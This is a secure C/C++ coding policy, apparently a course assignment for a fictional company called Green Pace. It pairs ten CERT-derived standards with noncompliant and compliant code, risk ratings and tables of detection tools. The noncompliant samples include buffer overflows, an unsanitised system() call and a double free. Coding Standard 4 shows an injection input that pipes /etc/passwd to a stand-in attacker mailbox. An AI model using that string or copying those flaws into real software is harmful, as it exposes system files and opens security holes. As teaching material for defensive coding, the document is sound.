**Green Pace Developer: Security Policy Guide**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Ensuring all data that is input meets appropriate standards, such as whether it is the appropriate type, length, falls in correct range, etc. This can help protect and prevent many issues that external inputs (such as user input, command line data, or network connections) can potentially cause. |
| 1. Heed Compiler Warnings | Always use the highest options for warnings/security in terms of messages/warnings for the compiler. Additionally, actually acting in response to these warnings and changing code as needed to eliminate the potential risks from these warnings. This can be aided with static and dynamic analysis tools. |
| 1. Architect and Design for Security Policies | Consider security principles in the design stage, rather than attempting to add it on later after you’ve already designed an insecure code/application/product. Be sure that you’re allowing security policies to be implemented. |
| 1. Keep It Simple | Choose less complex code when given the option. Don’t use 50 lines of code when 25 accomplishes the same effect, unless there’s a good reason for the additional lines of code. The more complex and bloated the code becomes the more likely errors and vulnerabilities will slip in or could be exploited. |
| 1. Default Deny | Access control should have users denied from anything they specifically don’t need permission for. Only assign permission for specific controls as needed – erring on the side of caution by not giving too much permission to too many users. |
| 1. Adhere to the Principle of Least Privilege | Similar to the above, give users the least amount of privilege possible to complete their tasks. Don’t assign an entire “group” of users to elevated permission if one user needs heightened permission for their job/task. Consider temporary elevations of permission if applicable for a project/task, rather than permanently elevated. |
| 1. Sanitize Data Sent to Other Systems | Sanitize (clean, remove/permanently delete excess unneeded data, etc) data that is being shared with other systems – both internally and externally. This helps decrease risk by eliminating as many avenues for accidental or intentional manipulation of data, such as sql injections or buffer overflows being used to explore/exploit other subsystems (such as file systems, etc). |
| 1. Practice Defense in Depth | Multiple layers of security with overlaps should always be used. This ensures there are multiple layers of protection that must be circumvented in order for a bad actor to exploit a vulnerability or gain access to important data. This helps flaws or bugs avoid becoming vulnerabilities and potential threats. |
| 1. Use Effective Quality Assurance Techniques | Using appropriate techniques (such as code reviews, adhering to other core security principles, and multiple tests/phases) and actually utilizing these techniques can help identify bugs and flaws before they become vulnerabilities. This requires adopting effective techniques AND requires buy-in from all employees touching code. |
| 1. Adopt a Secure Coding Standard | There should be standards for any language, framework, platform, etc that is being utilized. This often means developing your own standards (though you may pull some from best practices employed by other companies) and ensuring that each engineer is expected to work with the same standard. This consistency helps avoid bugs/flaws. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Do not define a C-style variadic function** |
| --- | --- | --- |
| **Data Type** | [STD-001-CCP] | Variadic functions can be hazardous because a variadic function using a C-style ellipsis (hereafter called a C-style variadic function) has no mechanisms to check the type safety of arguments being passed to the function or to check that the number of arguments being passed matches the semantics of the function definition. |

| **Noncompliant Code** |
| --- |
| This noncompliant code example uses a C-style variadic function to add a series of integers together. The function reads arguments until the value 0 is found. Calling this function without passing the value 0 as an argument (after the first two arguments) results in undefined behavior. Furthermore, passing any type other than an int also results in undefined behavior. |
| #include <cstdarg>    int add(int first, int second, ...) {  int r = first + second;  va\_list va;  va\_start(va, second);  while (int v = va\_arg(va, int)) {  r += v;  }  va\_end(va);  return r;  } |

| **Compliant Code** |
| --- |
| In this compliant solution, a variadic function using a function parameter pack is used to implement the add() function, allowing identical behavior for call sites. Unlike the C-style variadic function used in the noncompliant code example, this compliant solution does not result in undefined behavior if the list of parameters is not terminated with 0. Additionally, if any of the values passed to the function are not integers, the code is ill-formed rather than producing undefined behavior. |
| #include <type\_traits>    template <typename Arg, typename std::enable\_if<std::is\_integral<Arg>::value>::type \* = nullptr>  int add(Arg f, Arg s) { return f + s; }    template <typename Arg, typename... Ts, typename std::enable\_if<std::is\_integral<Arg>::value>::type \* = nullptr>  int add(Arg f, Ts... rest) {  return f + add(rest...);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data – Avoiding careless use of ellipsis is a method for validating input data  3. Architect and Design for Security Policies – Using a parameter pack (compliant example) consider security in design stage rather than later on  10. Adopt a Secure Cording Standard – This is our first coding standard for a reason – it’s a high severity and high probability risk, making it a great candidate for a standard for us use to avoid this dangerous code |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | Medium | **P12** | **L1** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **function-ellipsis** | Fully checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-DCL50** |  |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | cert-dcl50-cpp | Checked by clang-tidy. |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.2p0 | **LANG.STRUCT.ELLIPSIS** | Ellipsis |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Ensure that integer conversions do not result in lost or misinterpreted data** |
| --- | --- | --- |
| **Data Value** | [STD-002-CCP] | Integer conversions, both implicit and explicit (using a cast), must be guaranteed not to result in lost or misinterpreted data. This rule is particularly true for integer values that originate from untrusted sources and are used in any of the following ways:   * Integer operands of any pointer arithmetic, including array indexing * The assignment expression for the declaration of a variable length array * The postfix expression preceding square brackets [] or the expression in square brackets [] of a subscripted designation of an element of an array object * Function arguments of type size\_t or rsize\_t (for example, an argument to a memory allocation function) |

| **Noncompliant Code** |
| --- |
| Type range errors, including loss of data (truncation) and loss of sign (sign errors), can occur when converting from a value of an unsigned integer type to a value of a signed integer type. This noncompliant code example results in a truncation error on most implementations: |
| #include <limits.h>    void func(void) {    unsigned **long** **int** u\_a = ULONG\_MAX;  **signed** **char** sc;    sc = (**signed** **char**)u\_a; /\* Cast eliminates warning \*/    /\* ... \*/  } |

| **Compliant Code** |
| --- |
| Validate ranges when converting from an unsigned type to a signed type. This compliant solution can be used to convert a value of unsigned long int type to a value of signed char type: |
| #include <limits.h>    void func(void) {    unsigned **long** **int** u\_a = ULONG\_MAX;  **signed** **char** sc;    if (u\_a <= SCHAR\_MAX) {      sc = (**signed** **char**)u\_a;  /\* Cast eliminates warning \*/    } else {      /\* Handle error \*/    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  2. Heed Compiler Warnings – This can be caught by various automated/static scanning tools as seen below, as well as in many IDE’s warnings  3. Architect and Design for Security Policies – Careful planning and diligent code review can avoid integer conversions that result in a loss of/misinterpreted data and unexpected behavior |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | **P6** | **L2** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.2p0 | **LANG.CAST.PC.AV LANG.CAST.PC.CONST2PTR LANG.CAST.PC.INT**  **LANG.CAST.COERCE LANG.CAST.VALUE**  **ALLOC.SIZE.TRUNC MISC.MEM.SIZE.TRUNC**  **LANG.MEM.TBA** | Cast: arithmetic type/void pointer Conversion: integer constant to pointer Conversion: pointer/integer  Coercion alters value Cast alters value  Truncation of allocation size Truncation of size  Tainted buffer access |
| [Cppcheck](https://wiki.sei.cmu.edu/confluence/display/c/Cppcheck) | 1.66 | **memsetValueOutOfRange** | The second argument to memset() cannot be represented as unsigned char |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **93 S, 433 S, 434 S** | Partially implemented |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | **signed\_downcast** | Exhaustively verified. |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Use the bounds-checking interfaces for string manipulation** |
| --- | --- | --- |
| **String Correctness** | [STD-003-C] | The C Standard, Annex K (normative), defines alternative versions of standard string-handling functions designed to be safer replacements for existing functions. For example, it defines the strcpy\_s(), strcat\_s(), strncpy\_s(), and strncat\_s() functions as replacements for strcpy(), strcat(), strncpy(), and strncat(), respectively. |

| **Noncompliant Code** |
| --- |
| This noncompliant code overflows its buffer if msg is too long, and it has undefined behavior if msg is a null pointer. |
| void complain(const **char** \*msg) {    static const **char** prefix[] = "Error: ";    static const **char** suffix[] = "\n";  **char** buf[BUFSIZ];    **strcpy**(buf, prefix);  **strcat**(buf, msg);  **strcat**(buf, suffix);  **fputs**(buf, stderr);  } |

| **Compliant Code** |
| --- |
| This compliant solution will not overflow its buffer. |
| void complain(const char \*msg) {  errno\_t err;  static const char prefix[] = "Error: ";  static const char suffix[] = "\n";  char buf[BUFSIZ];    err = strcpy\_s(buf, sizeof(buf), prefix);  if (err != 0) {  /\* Handle error \*/  }    err = strcat\_s(buf, sizeof(buf), msg);  if (err != 0) {  /\* Handle error \*/  }    err = strcat\_s(buf, sizeof(buf), suffix);  if (err != 0) {  /\* Handle error \*/  }    fputs(buf, stderr);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data – Using these safer replacements for string manipulation can help avoid issues like buffer overflow and serve as a method of validation built-in  2. Heed Compiler Warnings – The older string handling functions are deprecated and can be caught with compiler/static analysis tools |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | Medium | **P12** | **L1** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **44 S** | Enhanced enforcement |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | **586** | Fully supported |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2022b | CERT C: Rec. STR07-C | Checks for:   * Use of dangerous standard function * Destination buffer overflow in string manipulation * Insufficient destination buffer size   Rec. partially covered. |
| [SonarQube C/C++ Plugin](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151949) | 3.11 | **S1081** |  |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Sanitize string data passed to complex subsystems** |
| --- | --- | --- |
| **SQL Injection** | [STD-004-C] | String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.  These are some examples of complex subsystems:   * Command processor via a call to system() or similar function (also addressed in ENV03-C. Sanitize the environment when invoking external programs) * External programs * Relational databases * Third-party commercial off-the-shelf components (for example, an enterprise resource planning subsystem) |

| **Noncompliant Code** |
| --- |
| This is an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to system(). The risk is that a user enters a string like the following: bogus@addr.com; cat /etc/passwd | mail some@badguy.net |
| **sprintf**(buffer, "/bin/mail %s < /tmp/email", addr);  **system**(buffer); |

| **Compliant Code** |
| --- |
| This approach defines a list of acceptable characters and removes any character that is not acceptable. This is based on the tcp\_wrappers package written by Wietse Venema, and shows the whitelisting approach. |
| static **char** ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"                           "ABCDEFGHIJKLMNOPQRSTUVWXYZ"                           "1234567890\_-.@";  **char** user\_data[] = "Bad char 1:} Bad char 2:{";  **char** \*cp = user\_data; /\* Cursor into string \*/  const **char** \*end = user\_data + **strlen**( user\_data);  for (cp += **strspn**(cp, ok\_chars); cp != end; cp += **strspn**(cp, ok\_chars)) {    \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  5. Default Deny – Access control should restrict ability to pass string data to complex subsystems, ensuring that only users with higher access permissions use it in an effort to ensure said data is properly sanitized first  6. Adhere to the Principle of Least Privilege – Users should have the least amount of privilege possible to complete their job’s functions; if they don’t need to pass data to complex subsystems, avoid that risk entirely by limiting their access to those capabilities/subsystems  7. Sanitize Data Sent to Other Systems – Data must be sanitized to meet both this standard and this principle |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | **P18** | **L1** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.2p0 | **IO.INJ.COMMAND IO.INJ.FMT IO.INJ.LDAP IO.INJ.LIB IO.INJ.SQL IO.UT.LIB IO.UT.PROC** | Command injection Format string injection LDAP injection Library injection SQL injection Untrusted Library Load Untrusted Process Creation |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 6.5 | **TAINTED\_STRING** | Fully implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | **CERT\_C-STR02-a CERT\_C-STR02-b CERT\_C-STR02-c** | Protect against command injection Protect against file name injection Protect against SQL injection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2022b | CERT C: Rec. STR02-C | Checks for:   * Execution of externally controlled command * Command executed from externally controlled path   Library loaded from externally controlled path  Rec. partially covered. |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Free dynamically allocated memory when no longer needed** |
| --- | --- | --- |
| **Memory Protection** | [STD-005-C] | Before the lifetime of the last pointer that stores the return value of a call to a standard memory allocation function has ended, it must be matched by a call to free() with that pointer value. |

| **Noncompliant Code** |
| --- |
| In this noncompliant example, the object allocated by the call to malloc() is not freed before the end of the lifetime of the last pointer text\_buffer referring to the object: |
| #include <stdlib.h>    enum { BUFFER\_SIZE = 32 };    **int** f(void) {  **char** \*text\_buffer = (**char** \*)**malloc**(BUFFER\_SIZE);    if (text\_buffer == NULL) {      return -1;    }    return 0;  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the pointer is deallocated with a call to free(): |
| #include <stdlib.h>    enum { BUFFER\_SIZE = 32 };    int f(void) {  char \*text\_buffer = (char \*)malloc(BUFFER\_SIZE);  if (text\_buffer == NULL) {  return -1;  }    free(text\_buffer);  return 0;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  3. Architect and Design for Security Policies – Following this standard practices careful, proactive design for coding by avoiding memory issues  4. Keep It Simple – A simple free() call is a short solution that avoids undesirable practices regarding memory |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | Medium | **P8** | **L2** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-MEM31** | Can detect dynamically allocated resources that are not freed |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 2017.07 | **RESOURCE\_LEAK**  **ALLOC\_FREE\_MISMATCH** | Finds resource leaks from variables that go out of scope while owning a resource |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | **CERT\_C-MEM31-a** | Ensure resources are freed |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2022b | CERT C: Rule MEM31-C | Checks for memory leak (rule fully covered) |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Use a static assertion to test the value of a constant expression**. |
| --- | --- | --- |
| **Assertions** | [STD-006-C] | Assertions are a valuable diagnostic tool for finding and eliminating software defects that may result in vulnerabilities (see MSC11-C. Incorporate diagnostic tests using assertions). The runtime assert() macro has some limitations, however, in that it incurs a runtime overhead and because it calls abort(). Consequently, the runtime assert() macro is useful only for identifying incorrect assumptions and not for runtime error checking. As a result, runtime assertions are generally unsuitable for server programs or embedded systems. |

| **Noncompliant Code** |
| --- |
| This noncompliant code uses the assert() macro to assert a property concerning a memory-mapped structure that is essential for the code to behave correctly. |
| #include <assert.h>    struct timer {    unsigned **char** MODE;    unsigned **int** DATA;    unsigned **int** COUNT;  };    **int** func(void) {  **assert**(sizeof(struct timer) == sizeof(unsigned **char**) + sizeof(unsigned **int**) + sizeof(unsigned **int**));  } |

| **Compliant Code** |
| --- |
| This portable compliant solution uses static\_assert. |
| #include <assert.h>    struct timer {  unsigned char MODE;  unsigned int DATA;  unsigned int COUNT;  };    static\_assert(sizeof(struct timer) == sizeof(unsigned char) + sizeof(unsigned int) + sizeof(unsigned int),  "Structure must not have any padding"); |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  8. Practice Defense in Depth – Using assertions is one layer of security that helps create a multi-layered approach  9. Use Effective Quality Assurance Techniques – Assertions are a valuable QA tool, especially when paired with something like code reviews to help avoid vulnerabilities |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | **P1** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/c/Clang) | 3.9 | misc-static-assert | Checked by clang-tidy |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.2p0 | **(customization)** | Users can implement a custom check that reports uses of the assert() macro |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | **CC2.DCL03** | Fully implemented |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **44 S** | Fully implemented |

#### Coding Standard 7

| **Coding Standard** | **Label** | **Handle all exceptions** |
| --- | --- | --- |
| **Exceptions** | [STD-007-CCP] | All exceptions thrown by an application must be caught by a matching exception handler. Even if the exception cannot be gracefully recovered from, using the matching exception handler ensures that the stack will be properly unwound and provides an opportunity to gracefully manage external resources before terminating the process. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, neither f() nor main() catch exceptions thrown by throwing\_func(). Because no matching handler can be found for the exception thrown, std::terminate() is called. |
| void throwing\_func() noexcept(false);    void f() {  throwing\_func();  }    int main() {  f();  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the main entry point handles all exceptions, which ensures that the stack is unwound up to the main() function and allows for graceful management of external resources. |
| void throwing\_func() noexcept(false);    void f() {    throwing\_func();  }    **int** main() {    try {      f();    } catch (...) {      // Handle error    }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  3. Architect and Design for Security Policies – Designing our code to always catch exceptions is secure design that helps avoid unwanted behavior in our code  10. Adopt a Secure Coding Standard – This standard helps keep code secure by avoiding memory stack issues by correctly terminating the process |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | **P4** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **main-function-catch-all early-catch-all** | Partially checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-ERR51** |  |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.2p0 | **LANG.STRUCT.UCTCH** | Unreachable Catch |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2022.2 | **CERT\_CPP-ERR51-a CERT\_CPP-ERR51-b** | Always catch exceptions Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point |

#### Coding Standard 8

| **Coding Standard** | **Label** | **A value-returning function must return a value from all code paths** |
| --- | --- | --- |
| **Data Value** | [STD-008-CCP] | The C++ Standard, [stmt.return], paragraph 2 [ISO/IEC 14882-2014], states the following:  *Flowing off the end of a function is equivalent to a return with no value; this results in undefined behavior in a value-returning function.*  A value-returning function must return a value from all code paths; otherwise, it will result in undefined behavior. This includes returning through less-common code paths, such as from a function-try-block, as explained in the C++ Standard, [except.handle], paragraph 15:  *Flowing off the end of a function-try-block is equivalent to a return with no value; this results in undefined behavior in a value-returning function (6.6.3).* |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, the programmer forgot to return the input value for positive input, so not all code paths return a value. |
| int absolute\_value(int a) {  if (a < 0) {  return -a;  }  } |

| **Compliant Code** |
| --- |
| In this compliant solution, all code paths now return a value. |
| int absolute\_value(int a) {  if (a < 0) {  return -a;  }  return a;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  1. Validate Input Data – Proper design ensures that all value-returning functions return a value, even if accepting input that may need validated  9. Use Effective Quality Assurance Techniques – Code reviews and multiple testing requirements are designed to catch issues like this that could result in undefined behavior |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | Medium | **P8** | **L2** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **return-implicit** | Fully checked |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 7.2p0 | **LANG.STRUCT.MRS** | Missing return statement |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **2 D, 36 S** | Fully implemented |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/cplusplus/RuleChecker) | 22.10 | **return-implicit** | Fully checked |

#### Coding Standard 9

| **Coding Standard** | **Label** | **Do not store an already-owned pointer value in an unrelated smart pointer** |
| --- | --- | --- |
| **Memory Protection** | [STD-009-CCP] | Smart pointers such as std::unique\_ptr and std::shared\_ptr encode pointer ownership semantics as part of the type system. They wrap a pointer value, provide pointer-like semantics through operator \*() and operator->() member functions, and control the lifetime of the pointer they manage. When a smart pointer is constructed from a pointer value, that value is said to be owned by the smart pointer.  Calling std::unique\_ptr::release() will relinquish ownership of the managed pointer value. Destruction of, move assignment of, or calling std::unique\_ptr::reset() on a std::unique\_ptr object will also relinquish ownership of the managed pointer value, but results in destruction of the managed pointer value. If a call to std::shared\_ptr::unique() returns true, then destruction of or calling std::shared\_ptr::reset() on that std::shared\_ptr object will relinquish ownership of the managed pointer value but results in destruction of the managed pointer value.  Some smart pointers, such as std::shared\_ptr, allow multiple smart pointer objects to manage the same underlying pointer value. In such cases, the initial smart pointer object owns the pointer value, and subsequent smart pointer objects are related to the original smart pointer. Two smart pointers are related when the initial smart pointer is used in the initialization of the subsequent smart pointer objects. For instance, copying a std::shared\_ptr object to another std::shared\_ptr object via copy assignment creates a relationship between the two smart pointers, whereas creating a std::shared\_ptr object from the managed pointer value of another std::shared\_ptr object does not.  Do not create an unrelated smart pointer object with a pointer value that is owned by another smart pointer object. This includes resetting a smart pointer's managed pointer to an already-owned pointer value, such as by calling reset(). |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, two unrelated smart pointers are constructed from the same underlying pointer value. When the local, automatic variable p2 is destroyed, it deletes the pointer value it manages. Then, when the local, automatic variable p1 is destroyed, it deletes the same pointer value, resulting in a double-free vulnerability. |
| #include <memory>    void f() {  int \*i = new int;  std::shared\_ptr<int> p1(i);  std::shared\_ptr<int> p2(i);  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the std::shared\_ptr objects are related to one another through copy construction, so when the local, automatic variable p2 is destroyed, the use count for the shared pointer value is decremented but still nonzero. Then, when the local, automatic variable p1 is destroyed, the use count for the shared pointer value is decremented to zero, and the managed pointer is destroyed. |
| #include <memory>    void f() {  std::shared\_ptr<int> p1 = std::make\_shared<int>();  std::shared\_ptr<int> p2(p1);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  3. Architect and Design for Security Policies – Designing functions with appropriate use of pointers helps avoid a variety of unexpected behaviors and vulnerabilities.  9. Use Effective Quality Assurance Techniques – This is the type of error that can be easily glossed over, so use of automated scanning tools can help track this issue before it becomes a severe threat |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | **P18** | **L1** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **dangling\_pointer\_use** |  |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-MEM56** |  |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2022.2 | **CERT\_CPP-MEM56-a** | Do not store an already-owned pointer value in an unrelated smart pointer |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2022b | CERT C++: MEM56-CPP | Checks for use of already-owned pointers (rule fully covered) |

#### Coding Standard 10

| **Coding Standard** | **Label** | **Do not abruptly terminate the program** |
| --- | --- | --- |
| **Exceptions** | [STD-010-CCP] | The std::abort(), std::quick\_exit(), and std::\_Exit() functions are used to terminate the program in an immediate fashion. They do so without calling exit handlers registered with std::atexit() and without executing destructors for objects with automatic, thread, or static storage duration. How a system manages open streams when a program ends is implementation-defined [ISO/IEC 9899:1999]. Open streams with unwritten buffered data may or may not be flushed, open streams may or may not be closed, and temporary files may or may not be removed. Because these functions can leave external resources, such as files and network communications, in an indeterminate state, they should be called explicitly only in direct response to a critical error in the application. (See ERR50-CPP-EX1 for more information.) |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, the call to f(), which was registered as an exit handler with std::at\_exit(), may result in a call to std::terminate() because throwing\_func() may throw an exception. |
| #include <cstdlib>    void throwing\_func() noexcept(false);    void f() { // Not invoked by the program except as an exit handler.  throwing\_func();  }    int main() {  if (0 != std::atexit(f)) {  // Handle error  }  // ...  } |

| **Compliant Code** |
| --- |
| In this compliant solution, f() handles all exceptions thrown by throwing\_func() and does not rethrow. |
| #include <cstdlib>    void throwing\_func() noexcept(false);    void f() { // Not invoked by the program except as an exit handler.  try {  throwing\_func();  } catch (...) {  // Handle error  }  }    int main() {  if (0 != std::atexit(f)) {  // Handle error  }  // ...  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):**  3. Architect and Design for Security Policies – All functions should be designed to avoid abrupt terminations due to the variety of issues that can occur with unexpected immediate termination  4. Keep It Simple – Keeping exit handlers/exceptions simple increases the likelihood of NOT abruptly terminating a program by mistake |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Probable | Medium | **P4** | **L3** |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
